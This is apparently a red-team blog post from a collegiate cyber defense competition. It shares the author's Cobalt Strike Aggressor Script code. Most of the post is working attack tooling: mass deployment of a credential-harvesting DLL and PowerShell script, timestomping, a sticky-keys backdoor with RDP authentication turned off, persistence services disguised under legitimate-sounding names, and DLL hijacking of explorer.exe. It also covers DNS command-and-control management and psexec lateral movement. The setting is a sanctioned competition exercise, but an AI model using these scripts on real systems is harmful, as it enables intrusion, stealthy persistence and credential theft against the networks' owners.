I just returned from the North East Collegiate Cyber Defense Competition event at the University of Maine. A big congratulations to the winners, Northeastern University, who will go on to represent the North East region at the National event in April.

The more I use Cobalt Strike 3.x, the more I appreciate Aggressor Script. Aggressor Script is the scripting engine baked into Cobalt Strike. It makes it easy to extend the tool with new commands and automate tasks. This post is a collection of my scripts from the North East CCDC event.

Mass Tasking Beacons

Here and there, I would need to mass-task all Beacons to do something. For example, on late Saturday we wanted to display a YouTube video on all compromised desktops. Here’s how to mass task Beacons with Aggressor Script:

1. Go to the Aggressor Script Console (View -> Script Console)

2. Type:

x map({ bshell($1['id'], "command to run here"); }, beacons());

The above one-liner will run whatever command you want on all of your Beacons. Here’s a quick walk-through of what’s happening:

The x command is an Aggressor Script console command to evaluate a script expression. The beacons() function returns an array of Beacons known to the current Cobalt Strike instance. The map function loops over this array and calls the specified function once, for each element in this array. Within our function, $1 is the first argument and in this case it’s a dictionary with information about a specific Beacon. $1[‘id’] is the Beacon’s ID. In this example, our function simply uses bshell to ask a Beacon to run a command in a Windows command shell. Most Beacon commands have a function associated with them.

During the event, I was asked to deploy a credential-harvesting tool to all Beacons. This required uploading a DLL to a specific location and running a PowerShell script. I used the command keyword to define new commands in the Aggressor Script console to accomplish these tasks.

Here’s the command to upload a DLL to all Beacons:

command upall {
foreach $beacon (beacons()) {
$id = $beacon['id'];
binput($id, "Deploying Silas stuff (uploading file)");
bcd($id, 'c:\windows\sysnative');
bupload($id, script_resource("windowsdefender.dll"));
btimestomp($id, "windowsdefender.dll", "notepad.exe");
}
}

And, here’s the command to run a PowerShell script against all Beacons:

command deploy {
foreach $beacon (beacons()) {
$id = $beacon['id'];
binput($id, "Deploying Silas stuff");
bpowershell_import($id, script_resource("silas.ps1"));
bpowershell($id, "2 + 2");
}
}

You’ll notice that I use bpowershell(“beacon ID”, “2 + 2”) here. I do this because the imported PowerShell script did not wrap its capability into a cmdlet. Instead, it would accomplish its task once it’s evaluated. The powershell-import command in Beacon is inert though. It makes a script available to the powershell command, but does not run it. To make the imported script run, I asked Beacon to evaluated a throw-away expression in PowerShell. Beacon would then run the imported script to make its cmdlets available to my expression.

Persistence

I went with a simple Windows persistence strategy at NECCDC. I installed a variant of the sticky keys backdoor on all compromised Windows systems. I also created a service to run my DNS Beacons. I relied on DLL hijacking against explorer.exe to run HTTP Beacons. On domain controllers, I relied on a service to kick-off an SMB Beacon. I also enabled WinRM on all compromised Windows systems as well.

Here’s the function to setup the sticky keys backdoor and enable WinRM:

sub stickykeys {
binput($1, 'stickykeys');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
bshell($1, 'net start TermService');

binput($1, 'enable WinRM');
bpowershell($1, 'Enable-PSRemoting -Force');
}

And, here are the functions to deploy the different services:

sub persist_adsvc {
if (-exists script_resource("adsvc.exe")) {
binput($1, "service persistence (server) [AD]");
bcd($1, 'c:\windows\system32');
bupload($1, script_resource("adsvc.exe"));
btimestomp($1, "adsvc.exe", "cmd.exe");
bshell($1, 'sc delete adsvc');
bshell($1, 'sc create adsvc binPath= "C:\windows\system32\adsvc.exe" start= auto DisplayName= "Active Directory Service"');
bshell($1, 'sc description adsvc "Provides authentication and policy management for computers joined to domain."');
bshell($1, 'sc start adsvc');

}
else {
berror($1, "adsvc.exe does not exist :(");
}
}

sub persist_netsys {
if (-exists script_resource("netsys.exe")) {
binput($1, "service persistence");
bcd($1, 'c:\windows\system32');
bupload($1, script_resource("netsys.exe"));
btimestomp($1, "netsys.exe", "cmd.exe");
bshell($1, 'sc delete netsys');
bshell($1, 'sc create netsys binPath= "C:\windows\system32\netsys.exe" start= auto DisplayName= "System Network Monitor"');
bshell($1, 'sc description netsys "Monitors the networks to which the computer has connected, collects and stores information about these networks, and notifies registered applications of state changes."');
bshell($1, 'sc start netsys');
}
else {
berror($1, "netsys.exe does not exist :(");
}
}

sub persist_linkinfo {
# dll hijack on explorer.exe
if (-exists script_resource("linkinfo.dll")) {
binput($1, "dropping linkinfo.dll persistence");
bcd($1, 'c:\windows');
bupload($1, script_resource("linkinfo.dll"));
btimestomp($1, "linkinfo.dll", 'c:\windows\sysnative\linkinfo.dll');
}
else {
berror($1, "linkinfo.dll not found.");
}
}

Each of these functions requires that the appropriate artifact (adsvc.exe, netsys.exe, and linkinfo.dll) is pre-generated and co-located with the persistence script file. Make sure your linkinfo.dll is the right type of DLL for your target’s architecture (e.g., on an x64 system, linkinfo.dll must be an x64 DLL).

To deploy persistence, I opted to extend Beacon’s right-click menu with several options. This would allow me to send persistence tasks to a specific Beacon or multiple Beacons at one time.

Here’s the code for this menu structure:

popup beacon_top {
menu "Persist" {
item "Persist (DNS)" {
local('$bid');
foreach $bid ($1) {
persist_netsys($bid);
}
}

item "Persist (HTTP)" {
local('$bid');
foreach $bid ($1) {
persist_linkinfo($bid);
}
}

item "Persist (SMB)" {
local('$bid');
foreach $bid ($1) {
persist_adsvc($bid);
}
}

item "Sticky Keys" {
local('$bid');
foreach $bid ($1) {
stickykeys($bid);
}
}
}
}

Managing DNS Beacons

Cobalt Strike’s DNS Beacon is one of my preferred persistent agents. The DNS Beacon gets past tough egress situations and a combination of high sleep time and multiple callback domains makes this a very resilient agent.

The downside to the DNS Beacon is it requires management. When a new DNS Beacon calls home, it’s blank. It’s blank because the DNS Beacon does not exchange information until you ask it to. This gives you a chance to specify how the DNS Beacon should communicate with you. Here’s a script that uses the beacon_initial_empty event to set a new DNS Beacon to use the DNS TXT record data channel and check in:

on beacon_initial_empty {
binput($1, "mode dns-txt");
bmode($1, "dns-txt");
binput($1, "checkin");
bcheckin($1);
}

Labeling Beacons

The NECCDC red team organizes itself by function. Parts of the red team went after UNIX systems. Others infrastructure. A few were on web applications. Myself and a few others focused on the Windows side. This setup means we’re each responsible for our attack surface on 10 networks. Knowing which Beacon is associated with each team is very helpful in this case. Fortunately, Aggressor Script helped here too.

First, I created a dictionary to associate IP ranges with teams:

%table["100.65.56.*"] = "Team 1";
%table["100.66.66.*"] = "Team 2";
%table["100.67.76.*"] = "Team 3";
%table["100.68.86.*"] = "Team 4";
%table["100.69.96.*"] = "Team 5";
%table["100.70.7.*"]  = "Team 6";
%table["100.71.17.*"] = "Team 7";
%table["100.72.27.*"] = "Team 8";
%table["100.73.37.*"] = "Team 9";
%table["100.74.47.*"] = "Team 10";

Then, I wrote a function that examines a Beacon’s meta-data and assigns a note to that Beacon with the team number.

sub handleit {
local('$info $int');
$info = beacon_info($1);
$int = $info['internal'];
foreach $key => $value (%table) {
if ($key iswm $int) { bnote($1, $value); return; }
}
}

This isn’t the whole story though. Some of our persistent Beacons would call home with localhost as their address. This would happen when our Beacon service ran before the system had its IP address. I updated the above function to detect this situation and use bipconfig to fetch interface information on the system and update the Beacon note with the right team number.

sub handleit {
local('$info $int');
$info = beacon_info($1);
$int = $info['internal'];
foreach $key => $value (%table) {
if ($key iswm $int) { bnote($1, $value); return; }
}

# if we get here, IP is unknown.
binput($1, "IP is not a team IP. Resolving");
bipconfig($1, {
foreach $key => $value (%table) {
if ("* $+ $key" iswm $2) {
binput($1, "IP info is $2");
bnote($1, $value);
}
}
});
}

My script used the beacon_initial event to run this function when a new Beacon came in:

on beacon_initial {
handleit($1);
}

I also had an Aggressor Script command (label) to manually run this function against all Beacons.

command label {
foreach $beacon (beacons()) {
handleit($beacon['id']);
}
}

The end effect is we always had situational awareness about which teams each of our Beacons were associated with. This was extremely helpful throughout the event.

One-off Aliases

My favorite part of Aggressor Script is its ability to define new Beacon commands. These are called aliases and they’re defined with the alias keyword. Through NECCDC I put together several one-off commands to make my life easier.

One of our tasks was to expand from our foothold on a few Windows client systems to other systems. We had multiple approaches to this problem. Early on though, we simply scanned to find systems where the students disabled their host firewall. Here’s the alias I wrote to kick off Beacon’s port scanner with my preferred configuration:

alias ascan {
binput($1, "portscan $2 445,139,3389,5985,135 arp 1024");
bportscan($1, $2, "445,139,3389,5985,135", "arp", 1024);
}

To run this alias, I would simply type ascan [target range] in a Beacon console.

I also had an alias to quickly launch a psexec_psh attack against all the other client systems as well. I just had to type ownall and Beacon would take care of the rest.

alias ownall {
bpsexec_psh($1, "ALDABRA", "Staging - HTTP Listener");
bpsexec_psh($1, "RADIATED", "Staging - HTTP Listener");
bpsexec_psh($1, "DESERT", "Staging - HTTP Listener");
bpsexec_psh($1, "GOPHER", "Staging - HTTP Listener");
bpsexec_psh($1, "REDFOOT", "Staging - HTTP Listener");
}

If you made it this far, I hope this post gives you a sense of the power available through Aggressor Script. I can’t imagine using Cobalt Strike without it. It’s made mundane tasks and on-the-fly workflow changes very easy to deal with.